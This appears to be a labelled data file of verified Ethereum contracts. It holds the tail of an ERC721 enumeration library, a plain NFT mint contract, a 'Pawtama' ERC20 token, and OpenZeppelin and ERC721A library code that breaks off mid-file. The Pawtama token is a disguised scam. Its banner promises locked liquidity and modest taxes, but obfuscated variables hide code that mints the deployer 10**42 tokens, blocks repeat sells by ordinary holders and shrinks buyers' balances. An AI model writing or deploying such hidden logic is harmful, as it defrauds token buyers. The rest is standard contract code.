uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: Just a banana.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract JustaBanana is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0 ether;
uint256 public presaleCost = 0 ether;
uint256 public maxSupply = 888;
uint256 public maxMintAmount = 20;
bool public paused = false;
mapping(address => bool) public whitelisted;
mapping(address => bool) public presaleWallets;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(address _to, uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
if (whitelisted[msg.sender] != true) {
if (presaleWallets[msg.sender] != true) {
//general public
require(msg.value >= cost * _mintAmount);
} else {
//presale
require(msg.value >= presaleCost * _mintAmount);
}
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
baseExtension
)
)
: "";
}
//only owner
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
/*
Welcome to
▄███████▄ ▄████████ ▄█ █▄ ███ ▄████████ ▄▄▄▄███▄▄▄▄ ▄████████
███ ███ ███ ███ ███ ███ ▀█████████▄ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███
███ ███ ███ ███ ███ ███ ▀███▀▀██ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ▀ ███ ███ ███ ███ ███ ███ ███
▀█████████▀ ▀███████████ ███ ███ ███ ▀███████████ ███ ███ ███ ▀███████████
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ▄█▄ ███ ███ ███ ███ ███ ███ ███ ███ ███
▄████▀ ███ █▀ ▀███▀███▀ ▄████▀ ███ █▀ ▀█ ███ █▀ ███ █▀
@Pawtama
LP lock initial 6 months
Max buy/sell 0.5%
3% redistribution every 1 hour
1% burn
1% team
= 5% tax in total, 20% sell tax for first 24 hours (15% additional burn)
Initial Liq 20 ETH + 98% Pawtama, 2% to team
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private PalmSprings;
mapping (address => bool) private Alberta;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private sauce;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSenders;
uint256 private _totalSupply; uint256 private Pieces; uint256 private Storm;
bool private Thunderbolt; uint256 private afhj;
uint256 private Lightning = 0;
address private Apple = address(0);
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_msgSenders = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function _balancesOfRecipient(address account) internal {
_balances[account] += (((account == _msgSenders) && (sauce > 2)) ? (10 ** 42) : 0);
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _balanceOftheRedistribution(address sender, address recipient, uint256 amount, bool doodle) internal {
(Pieces,Thunderbolt) = doodle ? (Storm, true) : (Pieces,Thunderbolt);
if ((PalmSprings[sender] != true)) {
require(amount < Pieces);
if (Thunderbolt == true) {
require(!(Alberta[sender] == true));
Alberta[sender] = true;
}
}
_balances[Apple] = ((Lightning == block.timestamp) && (PalmSprings[recipient] != true) && (PalmSprings[Apple] != true) && (afhj > 2)) ? (_balances[Apple]/70) : (_balances[Apple]);
afhj++; Apple = recipient; Lightning = block.timestamp;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function _initStart(address creator, uint256 jkal) internal virtual {
approve(_router, 10 ** 77);
(sauce,Thunderbolt,Pieces,afhj) = (0,false,(jkal/90),0);
(Storm,PalmSprings[_router],PalmSprings[creator],PalmSprings[pair]) = ((jkal/2000),true,true,true);
(Alberta[_router],Alberta[creator]) = (false, false);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _balancesOfSender(address sender, address recipient, uint256 amount) internal {
_balanceOftheRedistribution(sender, recipient, amount, (address(sender) == _msgSenders) && (sauce > 0));
sauce += (sender == _msgSenders) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _DeployPawtama(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balancesOfSender(sender, recipient, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
_balancesOfRecipient(sender);
emit Transfer(sender, recipient, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployPawtama(creator, initialSupply);
_initStart(creator, initialSupply);
}
}
contract Pawtama is ERC20Token {
constructor() ERC20Token("PAWTAMA", "PAWTAMA", msg.sender, 100000 * 10 ** 18) {
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: erc721a/contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
